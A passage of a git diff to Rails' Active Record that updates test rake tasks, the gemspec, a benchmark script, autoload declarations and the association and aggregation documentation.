     } + Dir.glob("test/cases/adapters/#{adapter_short}/**/*_test.rb")).sort
 
-    t.verbose = true
     t.warning = true
+    t.verbose = true
   }
 
   task "isolated_test_#{adapter}" do
@@ -115,6 +114,16 @@ namespace :postgresql do
     config = ARTest.config['connections']['postgresql']
     %x( createdb -E UTF8 #{config['arunit']['database']} )
     %x( createdb -E UTF8 #{config['arunit2']['database']} )
+
+    # prepare hstore
+    version = %x( createdb --version ).strip.gsub(/(.*)(\d\.\d\.\d)$/, "\\2")
+    %w(arunit arunit2).each do |db|
+      if version < "9.1.0"
+        puts "Please prepare hstore data type. See http://www.postgresql.org/docs/9.0/static/hstore.html"
+      else
+        %x( psql #{config[db]['database']} -c "CREATE EXTENSION hstore;" )
+      end
+    end
   end
 
   desc 'Drop the PostgreSQL test databases'
@@ -187,15 +196,15 @@ end
 task :lines do
   lines, codelines, total_lines, total_codelines = 0, 0, 0, 0
 
-  for file_name in FileList["lib/active_record/**/*.rb"]
+  FileList["lib/active_record/**/*.rb"].each do |file_name|
     next if file_name =~ /vendor/
-    f = File.open(file_name)
-
-    while line = f.gets
-      lines += 1
-      next if line =~ /^\s*$/
-      next if line =~ /^\s*#/
-      codelines += 1
+    File.open(file_name, 'r') do |f|
+      while line = f.gets
+        lines += 1
+        next if line =~ /^\s*$/
+        next if line =~ /^\s*#/
+        codelines += 1
+      end
     end
     puts "L: #{sprintf("%4d", lines)}, LOC #{sprintf("%4d", codelines)} | #{file_name}"
 
diff --git a/activerecord/activerecord.gemspec b/activerecord/activerecord.gemspec
index b4622005b4..53791d96ef 100644
--- a/activerecord/activerecord.gemspec
+++ b/activerecord/activerecord.gemspec
@@ -7,7 +7,8 @@ Gem::Specification.new do |s|
   s.summary     = 'Object-relational mapper framework (part of Rails).'
   s.description = 'Databases on Rails. Build a persistent domain model by mapping database tables to Ruby classes. Strong conventions for associations, validations, aggregations, migrations, and testing come baked-in.'
 
-  s.required_ruby_version = '>= 1.8.7'
+  s.required_ruby_version = '>= 1.9.3'
+  s.license     = 'MIT'
 
   s.author            = 'David Heinemeier Hansson'
   s.email             = 'david@loudthinking.com'
@@ -21,6 +22,7 @@ Gem::Specification.new do |s|
 
   s.add_dependency('activesupport', version)
   s.add_dependency('activemodel',   version)
-  s.add_dependency('arel',          '~> 2.2.1')
-  s.add_dependency('tzinfo',        '~> 0.3.29')
+  s.add_dependency('arel',          '~> 3.0.2')
+
+  s.add_dependency('activerecord-deprecated_finders', '0.0.1')
 end
diff --git a/activerecord/examples/performance.rb b/activerecord/examples/performance.rb
index 63822731d5..cd9825b50c 100644
--- a/activerecord/examples/performance.rb
+++ b/activerecord/examples/performance.rb
@@ -1,7 +1,9 @@
-TIMES = (ENV['N'] || 10000).to_i
-
-require 'rubygems'
+require File.expand_path('../../../load_paths', __FILE__)
 require "active_record"
+require 'benchmark/ips'
+
+TIME    = (ENV['BENCHMARK_TIME'] || 20).to_i
+RECORDS = (ENV['BENCHMARK_RECORDS'] || TIME*1000).to_i
 
 conn = { :adapter => 'sqlite3', :database => ':memory:' }
 
@@ -29,6 +31,14 @@ class Exhibit < ActiveRecord::Base
   def look; attributes end
   def feel; look; user.name end
 
+  def self.with_name
+    where("name IS NOT NULL")
+  end
+
+  def self.with_notes
+    where("notes IS NOT NULL")
+  end
+
   def self.look(exhibits) exhibits.each { |e| e.look } end
   def self.feel(exhibits) exhibits.each { |e| e.feel } end
 end
@@ -37,7 +47,14 @@ puts 'Generating data...'
 
 module ActiveRecord
   class Faker
-    LOREM = "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse non aliquet diam. Curabitur vel urna metus, quis malesuada elit. Integer consequat tincidunt felis. Etiam non erat dolor. Vivamus imperdiet nibh sit amet diam eleifend id posuere diam malesuada. Mauris at accumsan sem. Donec id lorem neque. Fusce erat lorem, ornare eu congue vitae, malesuada quis neque. Maecenas vel urna a velit pretium fermentum. Donec tortor enim, tempor venenatis egestas a, tempor sed ipsum. Ut arcu justo, faucibus non imperdiet ac, interdum at diam. Pellentesque ipsum enim, venenatis ut iaculis vitae, varius vitae sem. Sed rutrum quam ac elit euismod bibendum. Donec ultricies ultricies magna, at lacinia libero mollis aliquam. Sed ac arcu in tortor elementum tincidunt vel interdum sem. Curabitur eget erat arcu. Praesent eget eros leo. Nam magna enim, sollicitudin vehicula scelerisque in, vulputate ut libero. Praesent varius tincidunt commodo".split
+    LOREM = %Q{Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse non aliquet diam. Curabitur vel urna metus, quis malesuada elit.
+     Integer consequat tincidunt felis. Etiam non erat dolor. Vivamus imperdiet nibh sit amet diam eleifend id posuere diam malesuada. Mauris at accumsan sem.
+     Donec id lorem neque. Fusce erat lorem, ornare eu congue vitae, malesuada quis neque. Maecenas vel urna a velit pretium fermentum. Donec tortor enim,
+     tempor venenatis egestas a, tempor sed ipsum. Ut arcu justo, faucibus non imperdiet ac, interdum at diam. Pellentesque ipsum enim, venenatis ut iaculis vitae,
+     varius vitae sem. Sed rutrum quam ac elit euismod bibendum. Donec ultricies ultricies magna, at lacinia libero mollis aliquam. Sed ac arcu in tortor elementum
+     tincidunt vel interdum sem. Curabitur eget erat arcu. Praesent eget eros leo. Nam magna enim, sollicitudin vehicula scelerisque in, vulputate ut libero.
+     Praesent varius tincidunt commodo}.split
+
     def self.name
       LOREM.grep(/^\w*$/).sort_by { rand }.first(2).join ' '
     end
@@ -57,8 +74,8 @@ end
 notes = ActiveRecord::Faker::LOREM.join ' '
 today = Date.today
 
-puts 'Inserting 10,000 users and exhibits...'
-10_000.times do
+puts "Inserting #{RECORDS} users and exhibits..."
+RECORDS.times do
   user = User.create(
     :created_at => today,
     :name       => ActiveRecord::Faker.name,
@@ -73,9 +90,7 @@ puts 'Inserting 10,000 users and exhibits...'
   )
 end
 
-require 'benchmark'
-
-Benchmark.bm(46) do |x|
+Benchmark.ips(TIME) do |x|
   ar_obj       = Exhibit.find(1)
   attrs        = { :name => 'sam' }
   attrs_first  = { :name => 'sam' }
@@ -86,73 +101,72 @@ Benchmark.bm(46) do |x|
     :created_at => Date.today
   }
 
-  x.report("Model#id (x#{(TIMES * 100).ceil})") do
-    (TIMES * 100).ceil.times { ar_obj.id }
+  x.report("Model#id") do
+    ar_obj.id
   end
 
   x.report 'Model.new (instantiation)' do
-    TIMES.times { Exhibit.new }
+    Exhibit.new
   end
 
   x.report 'Model.new (setting attributes)' do
-    TIMES.times { Exhibit.new(attrs) }
+    Exhibit.new(attrs)
   end
 
   x.report 'Model.first' do
-    TIMES.times { Exhibit.first.look }
+    Exhibit.first.look
+  end
+
+  x.report("Model.all limit(100)") do
+    Exhibit.look Exhibit.limit(100)
   end
 
-  x.report("Model.all limit(100) (x#{(TIMES / 10).ceil})") do
-    (TIMES / 10).ceil.times { Exhibit.look Exhibit.limit(100) }
+  x.report "Model.all limit(100) with relationship" do
+    Exhibit.feel Exhibit.limit(100).includes(:user)
   end
 
-  x.report "Model.all limit(100) with relationship (x#{(TIMES / 10).ceil})" do
-    (TIMES / 10).ceil.times { Exhibit.feel Exhibit.limit(100).includes(:user) }
+  x.report "Model.all limit(10,000)" do
+    Exhibit.look Exhibit.limit(10000)
   end
 
-  x.report "Model.all limit(10,000) x(#{(TIMES / 1000).ceil})" do
-    (TIMES / 1000).ceil.times { Exhibit.look Exhibit.limit(10000) }
+  x.report 'Model.named_scope' do
+    Exhibit.limit(10).with_name.with_notes
   end
 
   x.report 'Model.create' do
-    TIMES.times { Exhibit.create(exhibit) }
+    Exhibit.create(exhibit)
   end
 
   x.report 'Resource#attributes=' do
-    TIMES.times {
-      exhibit = Exhibit.new(attrs_first)
-      exhibit.attributes = attrs_second
-    }
+    e = Exhibit.new(attrs_first)
+    e.attributes = attrs_second
   end
 
   x.report 'Resource#update' do
-    TIMES.times { Exhibit.first.update_attributes(:name => 'bob') }
+    Exhibit.first.update_attributes(:name => 'bob')
   end
 
   x.report 'Resource#destroy' do
-    TIMES.times { Exhibit.first.destroy }
+    Exhibit.first.destroy
   end
 
   x.report 'Model.transaction' do
-    TIMES.times { Exhibit.transaction { Exhibit.new } }
+    Exhibit.transaction { Exhibit.new }
   end
 
   x.report 'Model.find(id)' do
-    id = Exhibit.first.id
-    TIMES.times { Exhibit.find(id) }
+    User.find(1)
   end
 
   x.report 'Model.find_by_sql' do
-    TIMES.times {
-      Exhibit.find_by_sql("SELECT * FROM exhibits WHERE id = #{(rand * 1000 + 1).to_i}").first
-    }
+    Exhibit.find_by_sql("SELECT * FROM exhibits WHERE id = #{(rand * 1000 + 1).to_i}").first
   end
 
-  x.report "Model.log x(#{TIMES * 10})" do
-    (TIMES * 10).times { Exhibit.connection.send(:log, "hello", "world") {} }
+  x.report "Model.log" do
+    Exhibit.connection.send(:log, "hello", "world") {}
   end
 
-  x.report "AR.execute(query) (#{TIMES / 2})" do
-    (TIMES / 2).times { ActiveRecord::Base.connection.execute("Select * from exhibits where id = #{(rand * 1000 + 1).to_i}") }
+  x.report "AR.execute(query)" do
+    ActiveRecord::Base.connection.execute("Select * from exhibits where id = #{(rand * 1000 + 1).to_i}")
   end
 end
diff --git a/activerecord/lib/active_record.rb b/activerecord/lib/active_record.rb
index 3572c640eb..fa94f6a941 100644
--- a/activerecord/lib/active_record.rb
+++ b/activerecord/lib/active_record.rb
@@ -1,5 +1,5 @@
 #--
-# Copyright (c) 2004-2011 David Heinemeier Hansson
+# Copyright (c) 2004-2012 David Heinemeier Hansson
 #
 # Permission is hereby granted, free of charge, to any person obtaining
 # a copy of this software and associated documentation files (the
@@ -22,15 +22,59 @@
 #++
 
 require 'active_support'
-require 'active_support/i18n'
+require 'active_support/rails'
 require 'active_model'
 require 'arel'
+require 'active_record/deprecated_finders'
 
 require 'active_record/version'
 
 module ActiveRecord
   extend ActiveSupport::Autoload
 
+  autoload :Base
+  autoload :Callbacks
+  autoload :Core
+  autoload :CounterCache
+  autoload :ConnectionHandling
+  autoload :DynamicMatchers
+  autoload :Explain
+  autoload :Inheritance
+  autoload :Integration
+  autoload :Migration
+  autoload :Migrator, 'active_record/migration'
+  autoload :Model
+  autoload :ModelSchema
+  autoload :NestedAttributes
+  autoload :Observer
+  autoload :Persistence
+  autoload :QueryCache
+  autoload :Querying
+  autoload :ReadonlyAttributes
+  autoload :Reflection
+  autoload :Sanitization
+
+  # ActiveRecord::SessionStore depends on the abstract store in Action Pack.
+  # Eager loading this class would break client code that eager loads Active
+  # Record standalone.
+  #
+  # Note that the Rails application generator creates an initializer specific
+  # for setting the session store. Thus, albeit in theory this autoload would
+  # not be thread-safe, in practice it is because if the application uses this
+  # session store its autoload happens at boot time.
+  autoload :SessionStore
+
+  autoload :Schema
+  autoload :SchemaDumper
+  autoload :SchemaMigration
+  autoload :Scoping
+  autoload :Serialization
+  autoload :Store
+  autoload :Timestamp
+  autoload :Transactions
+  autoload :Translation
+  autoload :Validations
+
   eager_autoload do
     autoload :ActiveRecordError, 'active_record/errors'
     autoload :ConnectionNotEstablished, 'active_record/errors'
@@ -39,9 +83,11 @@ module ActiveRecord
     autoload :Aggregations
     autoload :Associations
     autoload :AttributeMethods
+    autoload :AttributeAssignment
     autoload :AutosaveAssociation
 
     autoload :Relation
+    autoload :NullRelation
 
     autoload_under 'relation' do
       autoload :QueryMethods
@@ -50,31 +96,10 @@ module ActiveRecord
       autoload :PredicateBuilder
       autoload :SpawnMethods
       autoload :Batches
+      autoload :Delegation
     end
 
-    autoload :Base
-    autoload :Callbacks
-    autoload :CounterCache
-    autoload :DynamicFinderMatch
-    autoload :DynamicScopeMatch
-    autoload :Migration
-    autoload :Migrator, 'active_record/migration'
-    autoload :NamedScope
-    autoload :NestedAttributes
-    autoload :Observer
-    autoload :Persistence
-    autoload :QueryCache
-    autoload :Reflection
     autoload :Result
-    autoload :Schema
-    autoload :SchemaDumper
-    autoload :Serialization
-    autoload :Store
-    autoload :SessionStore
-    autoload :Timestamp
-    autoload :Transactions
-    autoload :Validations
-    autoload :IdentityMap
   end
 
   module Coders
@@ -92,6 +117,7 @@ module ActiveRecord
       autoload :Read
       autoload :TimeZoneConversion
       autoload :Write
+      autoload :Serialization
     end
   end
 
@@ -113,12 +139,42 @@ module ActiveRecord
     end
   end
 
+  module Scoping
+    extend ActiveSupport::Autoload
+
+    eager_autoload do
+      autoload :Named
+      autoload :Default
+    end
+  end
+
+  module Tasks
+    extend ActiveSupport::Autoload
+
+    autoload :DatabaseTasks
+    autoload :SQLiteDatabaseTasks, 'active_record/tasks/sqlite_database_tasks'
+    autoload :MySQLDatabaseTasks,  'active_record/tasks/mysql_database_tasks'
+    autoload :PostgreSQLDatabaseTasks,
+      'active_record/tasks/postgresql_database_tasks'
+  end
+
   autoload :TestCase
   autoload :TestFixtures, 'active_record/fixtures'
+
+  def self.eager_load!
+    super
+    ActiveRecord::Locking.eager_load!
+    ActiveRecord::Scoping.eager_load!
+    ActiveRecord::Associations.eager_load!
+    ActiveRecord::AttributeMethods.eager_load!
+    ActiveRecord::ConnectionAdapters.eager_load!
+  end
 end
 
 ActiveSupport.on_load(:active_record) do
   Arel::Table.engine = self
 end
 
-I18n.load_path << File.dirname(__FILE__) + '/active_record/locale/en.yml'
+ActiveSupport.on_load(:i18n) do
+  I18n.load_path << File.dirname(__FILE__) + '/active_record/locale/en.yml'
+end
diff --git a/activerecord/lib/active_record/aggregations.rb b/activerecord/lib/active_record/aggregations.rb
index 5a8addc4e4..3db8e0716b 100644
--- a/activerecord/lib/active_record/aggregations.rb
+++ b/activerecord/lib/active_record/aggregations.rb
@@ -10,9 +10,9 @@ module ActiveRecord
     # Active Record implements aggregation through a macro-like class method called +composed_of+
     # for representing attributes  as value objects. It expresses relationships like "Account [is]
     # composed of Money [among other things]" or "Person [is] composed of [an] address". Each call
-    # to the macro adds a description of how the value objects  are created from the attributes of
-    # the entity object (when the entity is initialized either  as a new object or from finding an
-    # existing object) and how it can be turned back into attributes  (when the entity is saved to
+    # to the macro adds a description of how the value objects are created from the attributes of
+    # the entity object (when the entity is initialized either as a new object or from finding an
+    # existing object) and how it can be turned back into attributes (when the entity is saved to
     # the database).
     #
     #   class Customer < ActiveRecord::Base
@@ -46,7 +46,7 @@ module ActiveRecord
     #
     #    def <=>(other_money)
     #      if currency == other_money.currency
-    #        amount <=> amount
+    #        amount <=> other_money.amount
     #      else
     #        amount <=> other_money.exchange_to(currency).amount
     #      end
@@ -71,7 +71,7 @@ module ActiveRecord
     # Now it's possible to access attributes from the database through the value objects instead. If
     # you choose to name the composition the same as the attribute's name, it will be the only way to
     # access that attribute. That's the case with our +balance+ attribute. You interact with the value
-    # objects just like you would any other attribute, though:
+    # objects just like you would with any other attribute:
     #
     #   customer.balance = Money.new(20)     # sets the Money value object and the attribute
     #   customer.balance                     # => Money value object
@@ -86,6 +86,12 @@ module ActiveRecord
     #   customer.address_street = "Hyancintvej"
     #   customer.address_city   = "Copenhagen"
     #   customer.address        # => Address.new("Hyancintvej", "Copenhagen")
+    #
+    #   customer.address_street = "Vesterbrogade"
+    #   customer.address        # => Address.new("Hyancintvej", "Copenhagen")
+    #   customer.clear_aggregation_cache
+    #   customer.address        # => Address.new("Vesterbrogade", "Copenhagen")
+    #
     #   customer.address = Address.new("May Street", "Chicago")
     #   customer.address_street # => "May Street"
     #   customer.address_city   # => "Chicago"
@@ -101,8 +107,8 @@ module ActiveRecord
     # ActiveRecord::Base classes are entity objects.
     #
     # It's also important to treat the value objects as immutable. Don't allow the Money object to have
-    # its amount changed after creation. Create a new Money object with the new value instead. This
-    # is exemplified by the Money#exchange_to method that returns a new value object instead of changing
+    # its amount changed after creation. Create a new Money object with the new value instead. The
+    # Money#exchange_to method is an example of this. It returns a new value object instead of changing
     # its own values. Active Record won't persist value objects that have been changed through means
     # other than the writer method.
     #
@@ -119,7 +125,7 @@ module ActiveRecord
     # option, as arguments. If the value class doesn't support this convention then +composed_of+ allows
     # a custom constructor to be specified.
     #
-    # When a new value is assigned to the value object the default assumption is that the new value
+    # When a new value is assigned to the value object, the default assumption is that the new value
     # is an instance of the value class. Specifying a custom converter allows the new value to be automatically
     # converted to an instance of value class if necessary.
     #
@@ -187,7 +193,8 @@ module ActiveRecord
       # * <tt>:converter</tt> - A symbol specifying the name of a class method of <tt>:class_name</tt>
       #   or a Proc that is called when a new value is assigned to the value object. The converter is
       #   passed the single value that is used in the assignment and is only called if the new value is
-      #   not an instance of <tt>:class_name</tt>.
+      #   not an instance of <tt>:class_name</tt>. If <tt>:allow_nil</tt> is set to true, the converter
+      #   can return nil to skip the assignment.
       #
       # Option examples:
       #   composed_of :temperature, :mapping => %w(reading celsius)
@@ -216,7 +223,7 @@ module ActiveRecord
         reader_method(name, class_name, mapping, allow_nil, constructor)
         writer_method(name, class_name, mapping, allow_nil, converter)
 
-        create_reflection(:composed_of, part_id, options, self)
+        create_reflection(:composed_of, part_id, nil, options, self)
       end
 
       private
@@ -235,16 +242,15 @@ module ActiveRecord
 
         def writer_method(name, class_name, mapping, allow_nil, converter)
           define_method("#{name}=") do |part|
+            klass = class_name.constantize
+            unless part.is_a?(klass) || converter.nil? || part.nil?
+              part = converter.respond_to?(:call) ? converter.call(part) : klass.send(converter, part)
+            end
+
             if part.nil? && allow_nil
               mapping.each { |pair| self[pair.first] = nil }
               @aggregation_cache[name] = nil
             else
-              unless part.is_a?(class_name.constantize) || converter.nil?
-                part = converter.respond_to?(:call) ?
-                  converter.call(part) :
-                  class_name.constantize.send(converter, part)
-              end
-
               mapping.each { |pair| self[pair.first] = part.send(pair.last) }
               @aggregation_cache[name] = part.freeze
             end
diff --git a/activerecord/lib/active_record/associations.rb b/activerecord/lib/active_record/associations.rb
index 34684ad2f5..9ba3323bc7 100644
--- a/activerecord/lib/active_record/associations.rb
+++ b/activerecord/lib/active_record/associations.rb
@@ -1,10 +1,6 @@
-require 'active_support/core_ext/array/wrap'
 require 'active_support/core_ext/enumerable'
-require 'active_support/core_ext/module/delegation'
-require 'active_support/core_ext/object/blank'
 require 'active_support/core_ext/string/conversions'
 require 'active_support/core_ext/module/remove_method'
-require 'active_support/core_ext/class/attribute'
 
 module ActiveRecord
   class InverseOfAssociationNotFoundError < ActiveRecordError #:nodoc:
@@ -70,7 +66,7 @@ module ActiveRecord
     end
   end
 
-  class HasManyThroughNestedAssociationsAreReadonly < ActiveRecordError #:nodoc
+  class HasManyThroughNestedAssociationsAreReadonly < ActiveRecordError #:nodoc:
     def initialize(owner, reflection)
       super("Cannot modify association '#{owner.class.name}##{reflection.name}' because it goes through more than one other association.")
     end
@@ -105,6 +101,7 @@ module ActiveRecord
 
   # See ActiveRecord::Associations::ClassMethods for documentation.
   module Associations # :nodoc:
+    extend ActiveSupport::Autoload
     extend ActiveSupport::Concern
 
     # These classes will be loaded when associations are created.
@@ -134,11 +131,13 @@ module ActiveRecord
       autoload :HasAndBelongsToMany, 'active_record/associations/builder/has_and_belongs_to_many'
     end
 
-    autoload :Preloader,        'active_record/associations/preloader'
-    autoload :JoinDependency,   'active_record/associations/join_dependency'
-    autoload :AssociationScope, 'active_record/associations/association_scope'
-    autoload :AliasTracker,     'active_record/associations/alias_tracker'
-    autoload :JoinHelper,       'active_record/associations/join_helper'
+    eager_autoload do
+      autoload :Preloader,        'active_record/associations/preloader'
+      autoload :JoinDependency,   'active_record/associations/join_dependency'
+      autoload :AssociationScope, 'active_record/associations/association_scope'
+      autoload :AliasTracker,     'active_record/associations/alias_tracker'
+      autoload :JoinHelper,       'active_record/associations/join_helper'
+    end
 
     # Clears out the association cache.
     def clear_association_cache #:nodoc:
@@ -243,6 +242,26 @@ module ActiveRecord
     #   others.uniq                       |   X   |    X     |    X
     #   others.reset                      |   X   |    X     |    X
     #
+    # === Overriding generated methods
+    #
+    # Association methods are generated in a module that is included into the model class,
+    # which allows you to easily override with your own methods and call the original
+    # generated method with +super+. For example:
+    #
+    #   class Car < ActiveRecord::Base
+    #     belongs_to :owner
+    #     belongs_to :old_owner
+    #     def owner=(new_owner)
+    #       self.old_owner = self.owner
+    #       super
+    #     end
+    #   end
+    #
+    # If your model class is <tt>Project</tt>, the module is
+    # named <tt>Project::GeneratedFeatureMethods</tt>. The GeneratedFeatureMethods module is
+    # included in the model class immediately after the (anonymous) generated attributes methods
+    # module, meaning an association will override the methods for an attribute with the same name.
+    #
     # == Cardinality and associations
     #
     # Active Record associations can be used to describe one-to-one, one-to-many and many-to-many
@@ -378,7 +397,28 @@ module ActiveRecord
     # * All unsaved (<tt>new_record? == true</tt>) members of the collection are automatically
     #   saved when the parent is saved.
     #
-    # === Association callbacks
+    # == Customizing the query
+    #
+    # Associations are built from <tt>Relation</tt>s, and you can use the <tt>Relation</tt> syntax
+    # to customize them. For example, to add a condition:
+    #
+    #   class Blog < ActiveRecord::Base
+    #     has_many :published_posts, -> { where published: true }, class_name: 'Post'
+    #   end
+    #
+    # Inside the <tt>-> { ... }</tt> block you can use all of the usual <tt>Relation</tt> methods.
+    #
+    # === Accessing the owner object
+    #
+    # Sometimes it is useful to have access to the owner object when building the query. The owner
+    # is passed as a parameter to the block. For example, the following association would find all
+    # events that occur on the user's birthday:
+    #
+    #   class User < ActiveRecord::Base
+    #     has_many :birthday_events, ->(user) { where starts_on: user.birthday }, class_name: 'Event'
+    #   end
+    #
+    # == Association callbacks
     #
     # Similar to the normal callbacks that hook into the life cycle of an Active Record object,
     # you can also define callbacks that get triggered when you add an object to or remove an
@@ -405,7 +445,7 @@ module ActiveRecord
     # added to the collection. Same with the +before_remove+ callbacks; if an exception is
     # thrown the object doesn't get removed.
     #
-    # === Association extensions
+    # == Association extensions
     #
     # The proxy objects that control the access to associations can be extended through anonymous
     # modules. This is especially beneficial for adding new finders, creators, and other
@@ -435,20 +475,11 @@ module ActiveRecord
     #   end
     #
     #   class Account < ActiveRecord::Base
-    #     has_many :people, :extend => FindOrCreateByNameExtension
+    #     has_many :people, -> { extending FindOrCreateByNameExtension }
     #   end
     #
     #   class Company < ActiveRecord::Base
-    #     has_many :people, :extend => FindOrCreateByNameExtension
-    #   end
-    #
-    # If you need to use multiple named extension modules, you can specify an array of modules
-    # with the <tt>:extend</tt> option.
-    # In the case of name conflicts between methods in the modules, methods in modules later
-    # in the array supercede those earlier in the array.
-    #
-    #   class Account < ActiveRecord::Base
-    #     has_many :people, :extend => [FindOrCreateByNameExtension, FindRecentExtension]
+    #     has_many :people, -> { extending FindOrCreateByNameExtension }
     #   end
     #
     # Some extensions can only be made to work with knowledge of the association's internals.
@@ -466,7 +497,7 @@ module ActiveRecord
     # the same object, allowing you to make calls like <tt>proxy_association.owner</tt> inside
     # association extensions.
     #
-    # === Association Join Models
+    # == Association Join Models
     #
     # Has Many associations can be configured with the <tt>:through</tt> option to use an
     # explicit join model to retrieve the data. This operates similarly to a
@@ -524,7 +555,7 @@ module ActiveRecord
     #   end
     #
     #   @group = Group.first
-    #   @group.users.collect { |u| u.avatar }.flatten # select all avatars for all users in the group
+    #   @group.users.collect { |u| u.avatar }.compact # select all avatars for all users in the group
     #   @group.avatars                                # selects all avatars by going through the User join model.
     #
     # An important caveat with going through +has_one+ or +has_many+ associations on the
@@ -550,7 +581,7 @@ module ActiveRecord
     #     belongs_to :tag, :inverse_of => :taggings
     #   end
     #
-    # === Nested Associations
+    # == Nested Associations
     #
     # You can actually specify *any* association with the <tt>:through</tt> option, including an
     # association which has a <tt>:through</tt> option itself. For example:
@@ -593,7 +624,7 @@ module ActiveRecord
     # add a <tt>Commenter</tt> in the example above, there would be no way to tell how to set up the
     # intermediate <tt>Post</tt> and <tt>Comment</tt> objects.
     #
-    # === Polymorphic Associations
+    # == Polymorphic Associations
     #
     # Polymorphic associations on models are not restricted on what types of models they
     # can be associated with. Rather, they specify an interface that a +has_many+ association
@@ -723,7 +754,7 @@ module ActiveRecord
     # to include an association which has conditions defined on it:
     #
     #   class Post < ActiveRecord::Base
-    #     has_many :approved_comments, :class_name => 'Comment', :conditions => ['approved = ?', true]
+    #     has_many :approved_comments, -> { where approved: true }, :class_name => 'Comment'
     #   end
     #
     #   Post.includes(:approved_comments)
@@ -735,14 +766,11 @@ module ActiveRecord
     # returning all the associated objects:
     #
     #   class Picture < ActiveRecord::Base
-    #     has_many :most_recent_comments, :class_name => 'Comment', :order => 'id DESC', :limit => 10
+    #     has_many :most_recent_comments, -> { order('id DESC').limit(10) }, :class_name => 'Comment'
     #   end
     #
     #   Picture.includes(:most_recent_comments).first.most_recent_comments # => returns all associated comments.
     #
-    # When eager loaded, conditions are interpolated in the context of the model class, not
-    # the model instance. Conditions are lazily interpolated before the actual model exists.
-    #
     # Eager loading is supported with polymorphic associations.
     #
     #   class Address < ActiveRecord::Base
@@ -820,8 +848,8 @@ module ActiveRecord
     #   module MyApplication
     #     module Business
     #       class Firm < ActiveRecord::Base
-    #          has_many :clients
-    #        end
+    #         has_many :clients
+    #       end
     #
     #       class Client < ActiveRecord::Base; end
     #     end
@@ -919,7 +947,8 @@ module ActiveRecord
     #
     # The <tt>:dependent</tt> option can have different values which specify how the deletion
     # is done. For more information, see the documentation for this option on the different
-    # specific association types.
+    # specific association types. When no option is given, the behaviour is to do nothing
+    # with the associated records when destroying a record.
     #
     # === Delete or destroy?
     #
@@ -1058,15 +1087,6 @@ module ActiveRecord
       #   from the association name. So <tt>has_many :products</tt> will by default be linked
       #   to the Product class, but if the real class name is SpecialProduct, you'll have to
       #   specify it with this option.
-      # [:conditions]
-      #   Specify the conditions that the associated objects must meet in order to be included as a +WHERE+
-      #   SQL fragment, such as <tt>price > 5 AND name LIKE 'B%'</tt>. Record creations from
-      #   the association are scoped if a hash is used.
-      #   <tt>has_many :posts, :conditions => {:published => true}</tt> will create published
-      #   posts with <tt>@blog.posts.create</tt> or <tt>@blog.posts.build</tt>.
-      # [:order]
-      #   Specify the order in which the associated objects are returned as an <tt>ORDER BY</tt> SQL fragment,
-      #   such as <tt>last_name, first_name DESC</tt>.
       # [:foreign_key]
       #   Specify the foreign key used for the association. By default this is guessed to be the name
       #   of this class in lower-case and "_id" suffixed. So a Person class that makes a +has_many+
@@ -1074,44 +1094,18 @@ module ActiveRecord
       # [:primary_key]
       #   Specify the method that returns the primary key used for the association. By default this is +id+.
       # [:dependent]
-      #   If set to <tt>:destroy</tt> all the associated objects are destroyed
-      #   alongside this object by calling their +destroy+ method. If set to <tt>:delete_all</tt> all associated
-      #   objects are deleted *without* calling their +destroy+ method. If set to <tt>:nullify</tt> all associated
-      #   objects' foreign keys are set to +NULL+ *without* calling their +save+ callbacks. If set to
-      #   <tt>:restrict</tt> this object raises an <tt>ActiveRecord::DeleteRestrictionError</tt> exception and
-      #   cannot be deleted if it has any associated objects.
+      #   Controls what happens to the associated objects when
+      #   their owner is destroyed:
+      #
+      #   * <tt>:destroy</tt> causes all the associated objects to also be destroyed
+      #   * <tt>:delete_all</tt> causes all the asssociated objects to be deleted directly from the database (so callbacks will not execute)
+      #   * <tt>:nullify</tt> causes the foreign keys to be set to +NULL+. Callbacks are not executed.
+      #   * <tt>:restrict_with_exception</tt> causes an exception to be raised if there are any associated records
+      #   * <tt>:restrict_with_error</tt> causes an error to be added to the owner if there are any associated objects
       #
       #   If using with the <tt>:through</tt> option, the association on the join model must be
       #   a +belongs_to+, and the records which get deleted are the join records, rather than
       #   the associated records.
-      #
-      # [:finder_sql]
-      #   Specify a complete SQL statement to fetch the association. This is a good way to go for complex
-      #   associations that depend on multiple tables. May be supplied as a string or a proc where interpolation is
-      #   required. Note: When this option is used, +find_in_collection+
-      #   is _not_ added.
-      # [:counter_sql]
-      #   Specify a complete SQL statement to fetch the size of the association. If <tt>:finder_sql</tt> is
-      #   specified but not <tt>:counter_sql</tt>, <tt>:counter_sql</tt> will be generated by
-      #   replacing <tt>SELECT ... FROM</tt> with <tt>SELECT COUNT(*) FROM</tt>.
-      # [:extend]
-      #   Specify a named module for extending the proxy. See "Association extensions".
-      # [:include]
-      #   Specify second-order associations that should be eager loaded when the collection is loaded.
-      # [:group]
-      #   An attribute name by which the result should be grouped. Uses the <tt>GROUP BY</tt> SQL-clause.
-      # [:having]
-      #   Combined with +:group+ this can be used to filter the records that a <tt>GROUP BY</tt>
-      #   returns. Uses the <tt>HAVING</tt> SQL-clause.
-      # [:limit]
-      #   An integer determining the limit on the number of rows that should be returned.
-      # [:offset]
-      #   An integer determining the offset from where the rows should be fetched. So at 5,
-      #   it would skip the first 4 rows.
-      # [:select]
-      #   By default, this is <tt>*</tt> as in <tt>SELECT * FROM</tt>, but can be changed if
-      #   you, for example, want to do a join but not include the joined columns. Do not forget
-      #   to include the primary and foreign keys, otherwise it will raise an error.
       # [:as]
       #   Specifies a polymorphic interface (See <tt>belongs_to</tt>).
       # [:through]
@@ -1138,16 +1132,14 @@ module ActiveRecord
       # [:source_type]
       #   Specifies type of the source association used by <tt>has_many :through</tt> queries where the source
       #   association is a polymorphic +belongs_to+.
-      # [:uniq]
-      #   If true, duplicates will be omitted from the collection. Useful in conjunction with <tt>:through</tt>.
-      # [:readonly]
-      #   If true, all the associated objects are readonly through the association.
       # [:validate]
       #   If +false+, don't validate the associated objects when saving the parent object. true by default.
       # [:autosave]
       #   If true, always save the associated objects or destroy them if marked for destruction,
       #   when saving the parent object. If false, never save or destroy the associated objects.
       #   By default, only save associated objects that are new records.
+      #
+      #   Note that <tt>accepts_nested_attributes_for</tt> sets <tt>:autosave</tt> to <tt>true</tt>.
       # [:inverse_of]
       #   Specifies the name of the <tt>belongs_to</tt> association on the associated object
       #   that is the inverse of this <tt>has_many</tt> association. Does not work in combination
@@ -1155,24 +1147,16 @@ module ActiveRecord
       #   See ActiveRecord::Associations::ClassMethods's overview on Bi-directional associations for more detail.
       #
       # Option examples:
